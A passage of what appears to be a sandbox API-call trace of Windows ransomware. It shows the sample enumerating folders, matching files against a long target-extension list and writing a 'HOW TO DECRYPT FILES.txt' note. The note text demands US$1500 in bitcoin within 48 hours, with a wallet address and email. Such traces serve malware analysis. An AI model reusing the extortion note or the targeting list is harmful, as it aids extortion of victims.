(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.7z") returned 0 [0112.620] lstrlenA (lpString="*.7z") returned 4 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.tar") returned 0 [0112.620] lstrlenA (lpString="*.tar") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.bz2") returned 0 [0112.620] lstrlenA (lpString="*.bz2") returned 5 [0112.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.gz") returned 0 [0112.620] lstrlenA (lpString="*.gz") returned 4 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mkv") returned 0 [0112.621] lstrlenA (lpString="*.mkv") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.eml") returned 0 [0112.621] lstrlenA (lpString="*.eml") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.msg") returned 0 [0112.621] lstrlenA (lpString="*.msg") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.edb") returned 0 [0112.621] lstrlenA (lpString="*.edb") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.accdb") returned 0 [0112.621] lstrlenA (lpString="*.accdb") returned 7 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.odb") returned 0 [0112.621] lstrlenA (lpString="*.odb") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.java") returned 0 [0112.621] lstrlenA (lpString="*.java") returned 6 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.asm") returned 0 [0112.621] lstrlenA (lpString="*.asm") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pfx") returned 0 [0112.621] lstrlenA (lpString="*.pfx") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pem") returned 0 [0112.621] lstrlenA (lpString="*.pem") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.p12") returned 0 [0112.621] lstrlenA (lpString="*.p12") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.gpg") returned 0 [0112.621] lstrlenA (lpString="*.gpg") returned 5 [0112.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vsd") returned 0 [0112.621] lstrlenA (lpString="*.vsd") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.odg") returned 0 [0112.622] lstrlenA (lpString="*.odg") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.raw") returned 0 [0112.622] lstrlenA (lpString="*.raw") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.nef") returned 0 [0112.622] lstrlenA (lpString="*.nef") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.svg") returned 0 [0112.622] lstrlenA (lpString="*.svg") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.psd") returned 0 [0112.622] lstrlenA (lpString="*.psd") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vmx") returned 0 [0112.622] lstrlenA (lpString="*.vmx") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vmdk") returned 0 [0112.622] lstrlenA (lpString="*.vmdk") returned 6 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.vdi") returned 0 [0112.622] lstrlenA (lpString="*.vdi") returned 5 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.lay6") returned 0 [0112.622] lstrlenA (lpString="*.lay6") returned 6 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mpeg") returned 0 [0112.622] lstrlenA (lpString="*.mpeg") returned 6 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.djvu") returned 0 [0112.622] lstrlenA (lpString="*.djvu") returned 6 [0112.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.tiff") returned 0 [0112.622] lstrlenA (lpString="*.tiff") returned 6 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.backup") returned 0 [0112.623] lstrlenA (lpString="*.backup") returned 8 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.pdf") returned 0 [0112.623] lstrlenA (lpString="*.pdf") returned 5 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.cert") returned 0 [0112.623] lstrlenA (lpString="*.cert") returned 6 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.docm") returned 0 [0112.623] lstrlenA (lpString="*.docm") returned 6 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xlsm") returned 0 [0112.623] lstrlenA (lpString="*.xlsm") returned 6 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.dwg") returned 0 [0112.623] lstrlenA (lpString="*.dwg") returned 5 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.nd") returned 0 [0112.623] lstrlenA (lpString="*.nd") returned 4 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.tlg") returned 0 [0112.623] lstrlenA (lpString="*.tlg") returned 5 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.lgb") returned 0 [0112.623] lstrlenA (lpString="*.lgb") returned 5 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mov") returned 0 [0112.623] lstrlenA (lpString="*.mov") returned 5 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.xdw") returned 0 [0112.623] lstrlenA (lpString="*.xdw") returned 5 [0112.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.ods") returned 0 [0112.623] lstrlenA (lpString="*.ods") returned 5 [0112.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.wav") returned 0 [0112.624] lstrlenA (lpString="*.wav") returned 5 [0112.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.mp3") returned 0 [0112.624] lstrlenA (lpString="*.mp3") returned 5 [0112.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.aiff") returned 0 [0112.624] lstrlenA (lpString="*.aiff") returned 6 [0112.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.flac") returned 0 [0112.624] lstrlenA (lpString="*.flac") returned 6 [0112.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.m4a") returned 0 [0112.624] lstrlenA (lpString="*.m4a") returned 5 [0112.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\6ed2b26c49820b85b9f78ac7abceefa9\\System.DirectoryServices.AccountManagement.ni.dll", pszSpec="*.csv") returned 0 [0112.624] lstrlenA (lpString="*.csv") returned 5 [0112.624] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1fa56e0c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x1fa56e0c, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x1fa7cf6c, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x12c800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.624] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.624] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b00570, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x93b00570, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x93b00570, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="c1cdea55f62c9e8b9b9c1ae4c23b1c1f", cAlternateFileName="C1CDEA~1")) returned 1 [0112.624] lstrcmpA (lpString1=".", lpString2="c1cdea55f62c9e8b9b9c1ae4c23b1c1f") returned -1 [0112.624] lstrcmpA (lpString1="..", lpString2="c1cdea55f62c9e8b9b9c1ae4c23b1c1f") returned -1 [0112.624] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\*.*") returned="*.*" [0112.624] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\", lpString2="c1cdea55f62c9e8b9b9c1ae4c23b1c1f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f" [0112.624] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f") returned 100 [0112.624] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b00570, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x93b00570, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x93b00570, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.625] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.625] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b00570, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x93b00570, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x93b00570, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.625] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.625] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.625] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a67fef, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x93a67fef, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x93a8e14f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x190800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.DirectoryServices.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.625] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.625] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.DirectoryServices.ni.dll") returned -1 [0112.625] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.DirectoryServices.ni.dll") returned -1 [0112.625] lstrcmpiA (lpString1="", lpString2="System.DirectoryServices.ni.dll") returned -1 [0112.625] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\*.*") returned="*.*" [0112.625] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\" [0112.625] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\") returned="" [0112.625] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\HOW TO DECRYPT FILES.txt" [0112.625] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\how to decrypt files.txt")) returned 0xffffffff [0112.625] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.directoryser#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.626] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0112.626] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.628] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.628] CloseHandle (hObject=0x90) returned 1 [0112.635] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\", lpString2="System.DirectoryServices.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll" [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.ems") returned 0 [0112.636] lstrlenA (lpString="*.ems") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.db") returned 0 [0112.636] lstrlenA (lpString="*.db") returned 4 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.dbf") returned 0 [0112.636] lstrlenA (lpString="*.dbf") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.myox") returned 0 [0112.636] lstrlenA (lpString="*.myox") returned 6 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.myo") returned 0 [0112.636] lstrlenA (lpString="*.myo") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qbw") returned 0 [0112.636] lstrlenA (lpString="*.qbw") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qbb") returned 0 [0112.636] lstrlenA (lpString="*.qbb") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qbm") returned 0 [0112.636] lstrlenA (lpString="*.qbm") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qbo") returned 0 [0112.636] lstrlenA (lpString="*.qbo") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qbx") returned 0 [0112.636] lstrlenA (lpString="*.qbx") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qba") returned 0 [0112.636] lstrlenA (lpString="*.qba") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qby") returned 0 [0112.636] lstrlenA (lpString="*.qby") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qbj") returned 0 [0112.636] lstrlenA (lpString="*.qbj") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.ofx") returned 0 [0112.636] lstrlenA (lpString="*.ofx") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.qif") returned 0 [0112.636] lstrlenA (lpString="*.qif") returned 5 [0112.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mye") returned 0 [0112.637] lstrlenA (lpString="*.mye") returned 5 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.mbox") returned 0 [0112.637] lstrlenA (lpString="*.mbox") returned 6 [0112.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.DirectorySer#\\c1cdea55f62c9e8b9b9c1ae4c23b1c1f\\System.DirectoryServices.ni.dll", pszSpec="*.eml") returned 0 [0112.637] lstrlenA (lpString="*.eml") returned 5 [0112.637] PathMatchSpecA 